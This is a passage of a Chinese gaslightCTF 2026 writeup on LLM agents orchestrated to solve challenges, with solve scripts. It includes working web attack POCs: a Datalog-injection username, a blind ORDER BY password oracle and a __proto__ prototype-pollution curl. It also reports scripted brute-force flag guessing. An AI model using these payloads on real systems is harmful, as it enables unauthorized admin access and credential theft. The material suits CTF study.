6. 提交纪律：拿到候选 flag 后自行提交——**先取提交锁**（见「并行与互斥」），锁内串行提交、间隔 sleep 1-2s、绝不与其他 agent 并发，提交完立即释放锁。判定以该平台实际返回为准：判对信号通常是成功提示/已解计数 +1，判错是错误提示——**具体文案各平台不同，先观察本次提交的返回形态，把实际判对/判错信号记录进 WRITEUP 与回报，再据此定脚本匹配规则**（通用陷阱：勿用 `correct` 等短子串匹配判对，会误命中 incorrect）；判定为错则在时间盒内继续排查迭代；提交失败（登录过期等）回报主 agent 处理，不重复乱试。
7. 回报格式：结论（解出/未解/卡点）+ 候选 flag + 平台判定信号（实际返回文案/页面变化）+ WRITEUP 路径 + 下一步建议。

### 阶段 3：验收与汇总（主 agent）
- 以子 agent 回报的平台判定信号为验收依据，**不重复提交**；存疑时复核页面状态（已解计数/提交历史）。子 agent 回报中确认的判对信号补录进任务参数块（后续题目复用）。
- 已解 → 更新 TodoWrite 与 README 总表（flag 只出现在总表与 WRITEUP 中）；未解 → 总表标注原因。
- 每题验收清单：WRITEUP 五段齐全；solve 脚本可复现；flag 已提交且平台确认（子 agent 回报的判定信号）；目录内无实例地址泄漏。
- 比赛进行期间不推送任何 writeup/exp 到公开远端（防 DQ），结束后由用户决定提交。
- 收尾：比赛级总结（解题数/覆盖率/分题型经验），可迁移经验沉淀 `METHODOLOGY.md`。

gaslightCTF 2026 writeup

Sat, 15 Aug 2026 00:00:00 +0000

gaslightCTF 2026 writeup

gaslightCTF 2026（Berg CTF 平台，动态计分，账号级实例互斥）一共放出 35 题，分两轮打完，解出 29：

分类	战绩	备注
Web	5/5	全清
Crypto	9/9	全清
Pwn	5/5	全清
Rev	2/2	全清
Forensics	4/6	未解：4-piece-puzzle（拼图重建）
Misc	4/10	未解：speedy / quack / meow（照片地理定位）、Tuning Keyboard v6.7（听歌）、mineguessor（Minecraft 种子）

两轮的打法完全不同。第一轮（08-15，16 题全部解出）是传统的单会话硬打： GLM-5.3 打前半场，DeepSeek v4-pro/flash 收后半场，两道要"看图"的题（good-luck!、odyssey）由外部多模态模型 GPT-5.6-sol 补位——三个模型接力。第二轮（08-16 19:40 平台放出 19 道新题，08-17 收官，13/19）换成了编排式：主 agent 只做侦察、附件预下载、排序派单、验收与总表，每题派一个 general-purpose 子 agent，≤3 并发滑窗 + 断点落盘续派。

未解的 6 题全部卡在视觉/听觉上：照片地理定位 ×3、拼图重建、旋律识别、Minecraft 种子定位。但每题都推进到了"只差最后一眼/一耳"的位置——其中 layered-pages 证明了连通域结构分析甚至能完全替代视觉（已解出）。怎么分工、踩了哪些坑、六道没解出来的题卡在哪，都写在前面，题解放后面，每题附一段能直接跑的最小 POC。比赛已结束，flag 全部公开。

一、模型怎么分的工

第一轮（08-15）：三个模型接力，单会话 sess_f49b00b0

同一个 ZCode 会话（sess_f49b00b0）里，模型中途换过一次。归属是我事后从本地 db 的 model_usage 表（342 次 GLM 请求 + 77 次 pro + 342 次 flash）和各题文件时间戳交叉核对出来的，不是猜的。

模型	时段	完成的题目
GLM-5.3	09:23–10:53	Web 3/3（biscuit、messageboard、json-warehouse）；Crypto 5/5（affine-hill、dream-starts 1/2、NEWJEANS IS FIVE、CompleteHTTP）；Misc 的 sanity-check、jsbox、useless-rce（利用链写到了 final.hs）；odyssey 前期 OSINT（10:28–10:36，被暂停）
DeepSeek v4-pro / v4-flash	10:53–14:15	useless-rce 收尾；ram-conservation；badcat（fd 复用）；compiled-source-sheets；good-luck! 分析（没解出来）；odyssey（图搜 + 网格盲试，`37.974,23.724` 被平台接受）；全部文档整理
GPT-5.6-sol（外部）	12:07 / 14:01	good-luck!（右声道 0–4 kHz 频谱图）；odyssey（官方答案：Canellopoulos Museum 37.9729473,23.7260968 → `37.973,23.726`）。GLM 和 DeepSeek 都没多模态，看图题只能靠它

模型切换点：10:53 我发了句"继续"，GLM-5.3 最后一次请求 10:53:22， DeepSeek 10:53:30 接管。12:24 会话触发过上下文压缩，之后又从 flash 切到 pro。

我给的 prompt（对照表，从会话记录提取）

时间	原始 prompt（摘录）	响应的模型
09:23	完成 https://play.gaslightctf.cooking/challenges 中web漏洞的挑战，有什么需求轮子可以自己安装github（检索）/brew，并把你的解题思路记下来，全部解题与思路都放在 gaslightCTF2026/，每个题目一个文件夹。浏览器操作使用 agent-browser，凭据用chrome原有的：“agent-browser”, “–profile”, “Default”	GLM-5.3
09:29	本地有python3 的	GLM-5.3
09:54	现在解决下：crypto	GLM-5.3
10:12	现在有timeout了，也有gtimeout，可以用了，你那个进程run的有点久了，这是正常的吗？	GLM-5.3
10:21	完成 misc、pwn、rev、forensics 按顺序。	GLM-5.3
10:42	先跳过这个，社工的题目先不做（浪费时间），先做技术的题目	GLM-5.3
10:53	继续 ← 模型切换点	DeepSeek v4-pro → v4-flash
11:20	继续	DeepSeek v4-flash
11:50	为什么要用docker？	DeepSeek v4-flash
12:07	这是题解，其他人做出来了：Forensics｜Good luck! Writeup …（外部题解全文，见下文 Forensics 节）	DeepSeek v4-flash（内容来源 GPT-5.6-sol）
12:22	沉淀经验方法论。写到 `gaslightCTF2026/` 中。	DeepSeek v4-flash
12:24	gaslightctf2026 … pwn 的badcat完成下	DeepSeek v4-pro
12:25	应该需要获取新的环境 or什么的？	DeepSeek v4-pro
12:38	完成这个题目：Categories misc … Do I colour grade better than Christopher Nolan? …（odyssey）	DeepSeek v4-pro
12:51	在这个附近 gaslightCTF{37.974,23.726}。提交下flag，sleep提交，别并发，已经试过错误的：37.972/973/974,23.726	DeepSeek v4-pro / v4-flash
13:45	我让众多agent解题，几乎都是这个flag：37.973,23.726 … 你写一个脚本，把这附近的flag都交一下试试看？尝试100次最多。执行后返回结果。	DeepSeek v4-flash
14:01	这个是odyssey的题解，学习并更新下你的wp：…（官方题解全文，见上文 Misc 节）	DeepSeek v4-flash（内容来源 GPT-5.6-sol）

会话 12:24 触发上下文压缩后，rollout 日志只剩压缩后的记录；GLM 时代的请求完整存在本地 ZCode db（model_usage / message 表）。这也是本表归属的出处。

第二轮（08-16 ~ 08-17）：主 + 子 agent 编排，13/19

08-16 19:40 平台放出第二批 19 道新题（crypto 4、rev 1、pwn 3、web 2、forensics 4、 misc 5）。这次不打人海战，直接套用 THJCC 那套打磨过的编排模板（母版 ctfhunter-prompt-template.md 的 gaslightCTF 实例），主 agent 不进单题细节，上下文全程干净：

执行者	完成的题目
子 agent 流水线（13 解）	down-the-stream-1/2、no-info、dream-starts-3、ohfrick、good-enough、ucas、thirds、crawl、corridors、blackout、icon-sketch、layered-pages
主 agent（编排 + 验收 + 代提交）	侦察题目列表、附件预下载、排序派单、验收、总表；speedy 后半程亲自攻坚（事件钉死、坐标候选排除、街景证据翻案）
多模态挂起（6 题）	speedy / quack / meow / 4-piece-puzzle / tuning-keyboard-6 / mineguessor——视觉 API 限流 + 模型无视觉听力，按用户指示挂起，断点全量落盘各题 notes.md

编排的骨架：

每题一个 general-purpose 子 agent，40 分钟时间盒；断点落盘续派——子 agent 中断/死亡后检查产物目录，把已完成分析注入新 prompt 重派，不重复劳动。
≤3 并发滑窗：所有 agent 一律后台派发，任何一个结束（含失败）立即从队头补派，保持 3 个常满。THJCC 晚场实测 6 并发会连环触发模型层故障，这个教训直接沿用。
附件预下载：主 agent 在派单前用 pantry 直链（curl -A "<浏览器UA>"）把全部附件下到对应题目目录，派单 prompt 只注入本地路径，子 agent 不做下载。
实例串行令牌（gaslightCTF 平台特有）：账号级实例互斥，同账号同时只能一个实例 ——实例题（web 黑盒、pwn 远程交互段）必须串行，主 agent 维护"实例归属"，用完立即 Kill 释放才派下一个；本地题（crypto/rev/纯文件取证）不受此限全程并行。
总表只由主 agent 写（子 agent 并发改 README 有覆盖风险）；浏览器会话隔离，每个子 agent 用自己唯一的 --session <名>。

解题优先级是用户定稿的：pwn/rev/crypto（有源码可本地调试、AI 友好）→ 有源码附件的 web/misc → 无源码黑盒 → 多模态最后。同优先级内解出数多者优先（越多越简单，也是可解性实证）。19 题按这个排序打下来：Tier 1 的 8 道 pwn/rev/crypto 全清， Tier 3 的 2 道黑盒 web 全清，Tier 4 文件取证 4 道里 blackout/icon-sketch/layered-pages 3 道本地化解，纯视觉/听觉的 6 道挂起。

多模态挂起的决策：视觉 API 撞上账户级 429 限流（8 次尝试跨 35 分钟全拒），当前模型又没有原生视觉/听力——quack 的子 agent 在时间盒内把 EXIF、OCR、三轮 Yandex 图搜全做完后卡在"识别画面主体"，继续硬耗只会烧预算。按用户指示整体挂起，断点全量落盘（每题 notes.md 按"已确凿的事实 / 当前假设与排除面 / 下一步（优先级）" 分节），赛后可续攻。

两轮打磨出来的纪律

Solves 计数 +1 不是判对信号（corridors 的教训）：Berg CTF 的 Solves 是全局计数，别人解出也会 +1。corridors 的子 agent 报告"Solves 80→81 判对"，主 agent 核对列表无 ✓ 标记后重新提交，才真正解出。唯一可靠信号 = 刷新后 Submit Flag 表单消失 / “You have solved this challenge!” / 列表 ✓ 标记。
视觉 API 只用中性开放提问（layered-pages 的教训）：带猜测提问（“是不是 (z3r0)0ut？"）时视觉模型会"确认"不存在的内容——9 字符的字形行被读成只有 3 个主行字形。前任 agent 因此交了约 50 个错误 flag。规矩：只用"逐项描述所有可见内容，不确定的标注不确定”，读数必须本地手段交叉验证。
截图证据链要过文件大小审计（speedy 的教训）：子 agent 的 7 张街景截图里 4 张是 12KB 的占位图（页面加载失败的 UI 空壳，多张 md5 相同），当作证据会得出假结论。主 agent 用 RANSAC 单应内点数翻案：真同地点两张图 2055 个内点，假匹配只有 5 个——判别力极强，“看起来像"不算数。
模型层故障 ≠ 解题失败：子 agent “Model returned no text” 中断后，它的分析产物（notes.md / 脚本 / 截图）仍在。speedy 的事件识别（IShowSpeed × HCMC 天桥）就是中断 agent 留下的完整成果，按断点续派或主 agent 接手即可，不要重做。
判定文案要先人工看一眼（odyssey 的教训，第一轮）：提交脚本的正则 *correct* 会误匹配 “incorrect” 里的子串；平台判对时显示的是 “You have solved this challenge!"，不是 “correct” 字样。写脚本前先把成功/失败/限流的文案各看一眼。
slug 与题名可能不一致：“Tuning Keyboard v6.7” 的 URL slug 是 tuning-keyboard-6，从列表页链接（get attr @ref href）拿真实 slug。

二、题解（29 题，每题附真实可运行的最小 POC）

每题代码即对应本地题目目录 <slug>/solve.py（或 solve.sh）的真实内容（个别长的截取核心段，行数已注明）；联网 POC 为赛时实例验证，赛后需自建环境或本地起题；纯人眼/OSINT 类题（odyssey）注明豁免与可复现部分。29 题 = 28 个条目（Where the dream starts 1/2 合并为一条）。所有代码块默认折叠，按需点击展开。

跨题套路：凡是给了源码的题先在本地跑起来再打远程（省一大半试错）；先黑盒侦察再翻白盒源码；盲注/爆破/位流提取这类重复劳动全部脚本化；静态结论必须动态验证。 Web 的框架版本就是攻击面（json-warehouse）；Crypto 的魔改算法先找"缺了哪个部件” （NEWJEANS 没 S 盒、down-the-stream 的 LFSR 只有 8 bit）；Pwn 的 setuid 程序先画 fd 流转图（badcat）；多模态降级路线 macOS Vision > tesseract > 连通域结构分析（layered-pages 就此破题）。

Web（5/5）

biscuit（120）— Biscuit 令牌 Datalog 注入 Flag：gaslightCTF{d3f1nit3ly_a_cak3_f0r_l3g4l_r34s0n5_9eb56136ee9c}

登录态是 Biscuit 能力令牌（Datalog 写的），/flag 要求令牌带 role("admin") 事实。服务端把用户名直接拼进 Datalog 源码，没有任何转义。注册用户名 x"); role("admin 即可闭合字符串、追加事实、让语法保持合法，令牌还是服务器自己签的——验证时用 protobuf 解码服务端令牌，确认 role("admin") 事实真的进了授权层。

📜 biscuit 最小 POC（4 行）——点击展开

1
2
3
4


import requests
s = requests.Session()
s.post(URL + "/register", json={"username": 'x"); role("admin'})
print(s.get(URL + "/flag").text) # cookie 里的令牌已带 role("admin")

messageboard（384）— ORDER BY 盲注，密码当探针 Flag：gaslightCTF{ar3_y0u_my_cl0s3_fr13nd_n0w?_3190aec242b4}

输入全被过滤成字母数字，注入面看起来封死了。但 ORDER BY ${column} 能引用任意列名，包括 secret（密码列）——标识符位置不吃字母数字过滤。于是把"注册账号时的密码"当成探针：观察"按 secret 排序时 admin 排在探针前还是后”，构成逐位比较的 oracle，二分恢复 admin 的 16 位 hex 密码，登录读 flag。整套交互 ~200 次请求全部脚本化。

📜 messageboard 最小 POC（13 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


def probe(prefix): # 探针密码以 prefix 开头时，admin 是否排在探针后面
 register(prefix + "0" * (16 - len(prefix)))
 return order_of_admin_after_probe()

secret = ""
for pos in range(16):
 lo, hi = 0, 15
 while lo < hi:
 mid = (lo + hi) // 2
 if probe(secret + hex(mid)[2:]): hi = mid
 else: lo = mid + 1
 secret += hex(lo)[2:]
print(login(secret)) # 用 admin 密码登录读 flag

json-warehouse（469）— 原型污染，免 cookie 越权 Flag：gaslightCTF{p0llut3d_w4r3h0us3s_ar3nt_v3ry_s4f3_c0nd1ti0ns_225a6ab744bb}

package.json 里 Elysia 1.4.16 是第一步：查 advisory 锁定双 body schema 的 mergeDeep 原型污染，再拉 node_modules 源码本地确认漏洞点。PUT /:key 带双 schema 时 __proto__ 键污染 Object.prototype；之后不带 cookie 请求时 Cookie.value 沿原型链取到 “1000”，服务端当成 admin——找的就是这种"读取时回退到原型链"的取值点。

📜 json-warehouse 最小 POC（3 行）——点击展开

1
2
3


curl -sk -X PUT "$BASE/storage/x" -H 'Content-Type: application/json' \
 -d '{"value":"2","__proto__":{"value":"1000"}}'
curl -sk "$BASE/storage/flag" # 无 cookie，直接读

crawl（406）— robots.txt 是地图，不是门锁 Flag：gaslightCTF{LLM_1nduc3d_4r4chn0ph0b1a_de04d0ba1802}

第二轮纯黑盒 web 题，题面只有一句 “AI crawlers never respect the rules…"。侦察第一步永远是 robots.txt：里面除了 Disallow: /super_secret/，还有一条注释要求 LLM agent 访问时带 X-LLM-Agent 头——题面的双关，真正"不守规矩"的是直接无视 robots.txt 的访问者。直接 GET 被 Disallow 的目录：nginx autoindex 开着，目录列表里躺着 _flag.txt。准备的 UA 矩阵（ua_list.txt）根本没用上，普通 UA 一路畅通。

📜 crawl solve.sh（30 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


#!/bin/bash
# crawl solve script — parameterized by HOST/PORT
# Usage: bash solve.sh <host> <port>
# The service is HTTPS-only (http 301 -> https); use -sk throughout.
set -u
HOST="${1:?usage: solve.sh <host> <port>}"
PORT="${2:?usage: solve.sh <host> <port>}"
BASE="https://${HOST}:${PORT}"
DIR="$(cd "$(dirname "$0")" && pwd)"
UA_NORMAL='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'
OUT="${DIR}/recon_out"
mkdir -p "${OUT}"

echo "== Phase 1: robots.txt =="
curl -sk -m 8 -A "${UA_NORMAL}" "${BASE}/robots.txt" | tee "${OUT}/robots_body.txt"

# Extract first Disallow path (the flag directory)
DISP=$(grep -i '^[[:space:]]*Disallow' "${OUT}/robots_body.txt" | head -1 | sed 's/.*:[[:space:]]*//' | sed 's/[[:space:]]*$//')
[ -z "${DISP}" ] && { echo "no Disallow found in robots.txt"; exit 1; }
echo; echo "== Disallow path: ${DISP} =="

echo; echo "== Phase 2: list disallowed dir (autoindex) =="
curl -sk -m 8 -A "${UA_NORMAL}" "${BASE}${DISP}" | tee "${OUT}/dir_listing.txt"

# Find flag file in the listing
FLAGFILE=$(grep -oE 'href="[^"]+"' "${OUT}/dir_listing.txt" | sed 's/href="//;s/"//' | grep -viE '^(\.\./|/)$' | head -1)
[ -z "${FLAGFILE}" ] && { echo "no file found in dir listing"; exit 1; }
echo; echo "== Phase 3: fetch flag =="
curl -sk -m 8 -A "${UA_NORMAL}" -w '\n(HTTP %{http_code})\n' "${BASE}${DISP}${FLAGFILE}"
echo "done. artifacts in ${OUT}"

corridors（447）— 迷宫路径就是 flag 的二进制 Flag：gaslightCTF{fr33d0m_4t_l4st_55b364531ed4}

黑盒题，The Stanley Parable 风格：每个"走廊"节点只有 l/ 和 r/ 两个去向，页面 <title> 是 oracle——correct 在正确链上，wrong 是死路。关键解码是意识到正确链的路径位串（l=0, r=1）按 8 位分组就是 flag 的 ASCII：前几个字节解出 gaslightCTF{ 后就没有悬念了。脚本从根开始每层并行探测两个子节点、跟随 correct 分支收集位串，229 步、328 bit、41 字符，走到标题为 freedom 的终点页，全程约 2 分钟。

这题还有个编排插曲：子 agent 报告"Solves 80→81 判对”，实际是别人解出造成的全局计数 +1；主 agent 核对列表无 ✓ 后重新提交才真正解出——此后判对只认表单消失 / “You have solved this challenge!” / ✓ 标记。

📜 corridors solve.py（72 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72


#!/usr/bin/env python3
"""gaslightCTF 2026 corridors — solve script.

迷宫每节点只有 l/ r/ 两个去向，<title>correct</title> 表示在正确链上，
wrong 是死路。正确链的路径 l=0, r=1 按 8 位分组就是 flag 的 ASCII 编码：
沿唯一正确分支走到终点页(freedom)，解码路径即得 flag。

用法: python3 solve.py <host:port>
"""
import sys, re, ssl, http.client, threading, time

hostport = sys.argv[1] if len(sys.argv) > 1 else sys.exit("usage: python3 solve.py <host:port>")
host = hostport.split('/')[-1]
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
UA = {'User-Agent': 'Mozilla/5.0'}

def make_conn():
 return http.client.HTTPSConnection(host, timeout=15, context=ctx)

def fetch(conn, path):
 try:
 conn.request('GET', path, headers=UA)
 r = conn.getresponse()
 return r.status, r.read(20000)
 except Exception:
 return None

def get(conn, path):
 res = fetch(conn, path)
 if res is None:
 return fetch(make_conn(), path) or (0, b'')
 return res

def title(body):
 m = re.search(rb'<title>(.*?)</title>', body, re.S)
 return m.group(1).decode('utf-8', 'replace').strip().lower() if m else ''

def probe(conn, path, out, key):
 out[key] = title(get(conn, path)[1])

path = '/'
bits = []
t0 = time.time()
conns = [make_conn(), make_conn()]
step = 0
while True:
 step += 1
 out = {}
 ths = [
 threading.Thread(target=probe, args=(conns[0], path + 'l/', out, 'l')),
 threading.Thread(target=probe, args=(conns[1], path + 'r/', out, 'r')),
 ]
 for t in ths: t.start()
 for t in ths: t.join()
 correct = next((k for k, v in out.items() if v == 'correct'), None)
 if correct is None: # 终点：非 correct/wrong 页
 other = next((k for k, v in out.items() if v not in ('correct', 'wrong')), None)
 if other:
 path += other + '/'
 bits.append(1 if other == 'r' else 0)
 print(f'[maze end] title={out} steps={step} bits={len(bits)} t={time.time()-t0:.0f}s')
 break
 path += correct + '/'
 bits.append(1 if correct == 'r' else 0)
 if step % 50 == 0:
 print(f'[{step}] bits={len(bits)}', flush=True)

flag = ''.join(chr(int(''.join(map(str, bits[i:i+8])), 2)) for i in range(0, len(bits) - 7, 8))
print('FLAG:', flag)
assert flag.startswith('gaslightCTF{') and flag.endswith('}'), 'decode check failed'

Crypto（9/9）

affine-hill（100）— 差分消常数，矩阵求逆 Flag：gaslightCTF{kn0wn-pl41nt3xt-4tt4cks-4r3-sup3r-s1mpl3}

4×4 Affine-Hill：c = p·K + b (mod 37)，字母表 37 字符。仿射密码的常数项 b 是最大的未知数，但同一明文的差分直接消掉它：c_i - c_1 = (p_i - p_1)·K， 4 组差分构造矩阵求逆解出 K，回代求 b。展平 20 字符就是 keyword。

📜 affine-hill 最小 POC（6 行）——点击展开

1
2
3
4
5
6


import sympy
A = sympy.Matrix([[p_i - p_1 for p_i in blocks(PT)][:4]]) # 4 组明文差分
E = sympy.Matrix([[c_i - c_1 for c_i in blocks(CT)][:4]]) # 对应密文差分
K = A.inv_mod(37) * E
b = (blocks(CT)[0] - blocks(PT)[0] * K) % 37
print(K.tolist() + b.tolist()) # 展平 20 字符即 keyword

Where the dream starts 1/2（100）— 凯撒、列移位 Flag：gaslightCTF{caesarreallylikedashiftofthree} / gaslightCTF{tr4nsp0s3-2-th3-k3y-0f-g-fl4t!}

1 是凯撒移位 3，bytes(c - 3 for c in ct) 直接出明文。2 是 3 列列移位（恒等置换），密文三段按行交错读回，丢尾部补位噪声。

📜 dream-starts-1/2 最小 POC（6 行）——点击展开

1
2
3
4
5
6


# dream-starts-1
print(bytes((c - 3) % 128 for c in ct)) # 凯撒 -3

# dream-starts-2：把密文按 3 列均分，按列序读回
n = len(ct) // 3
print("".join(ct[i::n] for i in range(n))[:-2]) # 尾部补位 "eo" 丢弃

NEWJEANS IS FIVE（257）— 没 S 盒的 AES 是线性的 Flag：gaslightCTF{newj34ns-nv-d!es}

AES 里唯一非线性部件 SubBytes 被换成恒等映射，整个算法退化成 GF(2) 仿射变换 E(x) = L(x) ⊕ c。手写密码实现先找"缺了哪一步"：S 盒没了整体就线性化。用任意密钥本地加密 128 个单位向量构造 L，一组已知明文对求 c，解线性方程组出 flag。

📜 NEWJEANS IS FIVE 最小 POC（7 行）——点击展开

1
2
3
4
5
6
7


L = np.zeros((128, 128), dtype=np.uint8)
for i in range(128):
 e = np.zeros(128, dtype=np.uint8); e[i] = 1
 L[:, i] = enc(e) ^ enc(np.zeros(128, dtype=np.uint8))
c = enc(pt) ^ (L @ pt) & 1 # 常数项
flag = gf2_solve(L, enc_flag ^ c) # 高斯消元
print(bytes(flag).decode())

CompleteHTTP（390）— 弱素数逐 limb 分解，解 TLS Flag：gaslightCTF{gu3s5_y0u_n33d_l0ng_sl33v35_ev3n_in_5umm3r?}

服务端是自写 TLS（.NET），反编译 bundle 的 IL 发现证书 RSA 模数每 32 位 limb 只有 1 个非零字节——弱结构素数。从 LSB 开始逐 limb 解字节乘法方程（n_i = Σ p_j·q_{i-j}），约束搜索 DFS 秒级分解 N，比通用 ECM 快得多； RSA 解 premaster 后按 TLS 1.2 EMS 派生密钥，解开 pcap 里的应用数据。（pcapng 不能过 tcpdump 转换，直接 Python 解块结构重组 TCP 流。）

📜 CompleteHTTP 最小 POC（5 行）——点击展开

1
2
3
4
5


# 逐 limb：n_i = Σ p_j·q_{i-j}，p/q 每 limb 只有 1 个非零字节
# 非零字节位置 → 约束搜索（DFS），复杂度远低于 ECM
for i in range(limbs):
 for bp, bq in product(nonzero_positions, repeat=2):
 if check_limb(i, bp, bq): pin(p, bp); pin(q, bq); break

down-the-stream-1（364）— 8-bit LFSR：256 个 IV 爆破 Flag：gaslightCTF{d0nt-r3veal-y0ur-co3ff-v3ct0r}

第二轮开场 crypto。8-bit LFSR 同步流密码，反馈多项式公开。两个侦察结论钉死攻击面：next_register 每轮移位后 & 0xff 截断，状态空间只有 256；且 IV 若 > 0xff 会在 bytearray.append 处抛 ValueError——脚本根本跑不了，所以 IV 必在 [0, 255]。于是别急着推抽头，直接枚举 256 个 IV 各自重新生成密钥流解密，用 gaslightCTF{ 前缀过滤，唯一命中 IV = 0x8e。小状态流密码先想穷举。

📜 down-the-stream-1 solve.py（49 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49


#!/usr/bin/env python3
"""solve.py — down-the-stream-1

8-bit LFSR 流密码：next_register 每轮把寄存器左移 8 次并 & 0xff 截断，
状态空间仅 256。IV 若 > 0xff 会在 bytearray.append 处抛 ValueError，
故 IV 必落在 [0, 255]，直接暴力枚举并用已知明文前缀验证。
"""

CT_HEX = open(
 "output.txt"
).read().strip()
CT = bytes.fromhex(CT_HEX)
PREFIX = b"gaslightCTF{"


def next_register(register: int) -> int:
 for _ in range(8):
 feedback = (
 ((register >> 7) & 1)
 ^ ((register >> 5) & 1)
 ^ ((register >> 4) & 1)
 ^ ((register >> 3) & 1)
 )
 register = ((register << 1) | feedback) & 0xFF
 return register


def decrypt(ct: bytes, iv: int) -> bytes:
 register = iv
 pt = bytearray()
 pt.append(ct[0] ^ register)
 for i in range(1, len(ct)):
 register = next_register(register)
 pt.append(ct[i] ^ register)
 return bytes(pt)


def main() -> None:
 for iv in range(256):
 pt = decrypt(CT, iv)
 if pt.startswith(PREFIX):
 print(f"IV = {iv:#04x}")
 print(f"FLAG = {pt.decode(errors='replace')}")
 return
 print("no candidate found")


if __name__ == "__main__":
 main()

down-the-stream-2（388）— 16-bit LFSR：把抽头当未知数 Flag：gaslightCTF{st0p-rev3al1ng-4ll-the-pl4int3xts}

续作把状态扩到 16 bit（2^16 爆破不动），并且抽掉了 generate_feedback—— 反馈函数本身是未知的布尔函数。转折点是一个观察：16 步转移中，反馈位序列 f_0..f_15 恰好等于 r_{i+1} 的 16 个 bit（MSB 在前）。于是从 12 字节已知明文 “Hello, world” 还原出 6 个连续寄存器值后，不只是能差分出 96 个反馈位，还能 重建每段转移的全部中间状态——共 5×16 = 80 个 (16-bit 状态, 反馈位) 样本。把"反馈是线性 tap-XOR"当假设、16 个抽头系数当未知数，80 个方程 GF(2) 高斯消元，解出 taps = [6, 9, 11, 12, 13, 15] 且全部样本自洽——假设成立。flag 密文前 2 字节直接还原 IV = 0x8ee8，恰好是前作 8-bit IV 0x8e 的回文（系列彩蛋），intercepted 密文回放双重验证。

📜 down-the-stream-2 solve.py（135 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135


#!/usr/bin/env python3
"""solve.py — down-the-stream-2 (gaslightCTF2026, crypto)

16-bit LFSR 流密码：next_register 每轮把寄存器左移 16 次，
feedback 位由未知的 generate_feedback(register) 生成（1 bit）。
对每 2 字节明文块，密文 = 明文 ^ 当前 16 位寄存器。

攻击链：
1. 已知明文 "Hello, world"（12 字节）与密文 XOR，还原出 6 个连续寄存器
 值 r0..r5（r_{i+1} = next_register(r_i)）。
2. 每段 16 步转移中，反馈位序列 f_0..f_15 恰好等于 r_{i+1} 的 16 个 bit
 （MSB 在前），据此重建出 80 个 (状态, 反馈位) 样本及全部中间状态。
3. 假设 generate_feedback 为线性（抽头 bit XOR）：对 80 个样本在 GF(2)
 上高斯消元解 16 个抽头系数。本题解出 taps = [6,9,11,12,13,15]，
 全部 80 个样本自洽，故反馈函数为 XOR(bit6,bit9,bit11,bit12,bit13,bit15)。
4. flag 明文以 "gaslightCTF{" 开头，前 2 字节即可还原 IV（恰与
 intercepted 相同，0x8ee8），随后用恢复的 LFSR 整体解密并校验前缀。

用法: python3 solve.py
"""

import os

HERE = os.path.dirname(os.path.abspath(__file__))

with open(os.path.join(HERE, "intercepted.txt")) as f:
 PT = f.readline().strip().encode()
 CT_HEX = f.readline().strip()
with open(os.path.join(HERE, "output.txt")) as f:
 FLAG_CT = bytes.fromhex(f.read().strip())

CT = bytes.fromhex(CT_HEX)


def recover_registers(pt: bytes, ct: bytes) -> list[int]:
 regs = []
 for i in range(0, len(pt), 2):
 regs.append((ct[i] ^ pt[i]) << 8 | (ct[i + 1] ^ pt[i + 1]))
 return regs


def build_samples(regs: list[int]) -> list[tuple[int, int]]:
 """从相邻寄存器对重建 16 步转移的 (状态, 反馈位) 样本。

 反馈位序列 f_0..f_15（f_0 最先进入）满足
 r_{i+1} = sum f_k * 2^(15-k)，即 r_{i+1} 的 bit15..bit0 依次等于 f_0..f_15。
 """
 samples = []
 for a, b in zip(regs, regs[1:]):
 fb_bits = [(b >> (15 - k)) & 1 for k in range(16)]
 s = a
 for k in range(16):
 samples.append((s, fb_bits[k]))
 s = ((s << 1) | fb_bits[k]) & 0xFFFF
 return samples


def gauss_elim(A: list[list[int]], b: list[int]) -> list[int] | None:
 """GF(2) 高斯消元解 A x = b；无解返回 None。"""
 n = len(A[0])
 aug = [row[:] + [bv] for row, bv in zip(A, b)]
 pivots = []
 r = 0
 for c in range(n):
 piv = next((i for i in range(r, len(aug)) if aug[i][c]), None)
 if piv is None:
 continue
 aug[r], aug[piv] = aug[piv], aug[r]
 for i in range(len(aug)):
 if i != r and aug[i][c]:
 aug[i] = [x ^ y for x, y in zip(aug[i], aug[r])]
 pivots.append(c)
 r += 1
 for row in aug[r:]:
 if all(v == 0 for v in row[:-1]) and row[-1]:
 return None
 x = [0] * n
 for i, c in enumerate(pivots):
 x[c] = aug[i][-1]
 return x


def generate_feedback(register: int, taps: list[int]) -> int:
 b = 0
 for j in taps:
 b ^= (register >> j) & 1
 return b


def next_register(register: int, taps: list[int]) -> int:
 for _ in range(16):
 register = ((register << 1) | generate_feedback(register, taps)) & 0xFFFF
 return register


def decrypt(ct: bytes, iv: int, taps: list[int]) -> bytes:
 out = bytearray()
 reg = iv
 out.append(ct[0] ^ (reg >> 8))
 out.append(ct[1] ^ (reg & 0xFF))
 for i in range(2, len(ct), 2):
 reg = next_register(reg, taps)
 out.append(ct[i] ^ (reg >> 8))
 out.append(ct[i + 1] ^ (reg & 0xFF))
 return bytes(out)


def main() -> None:
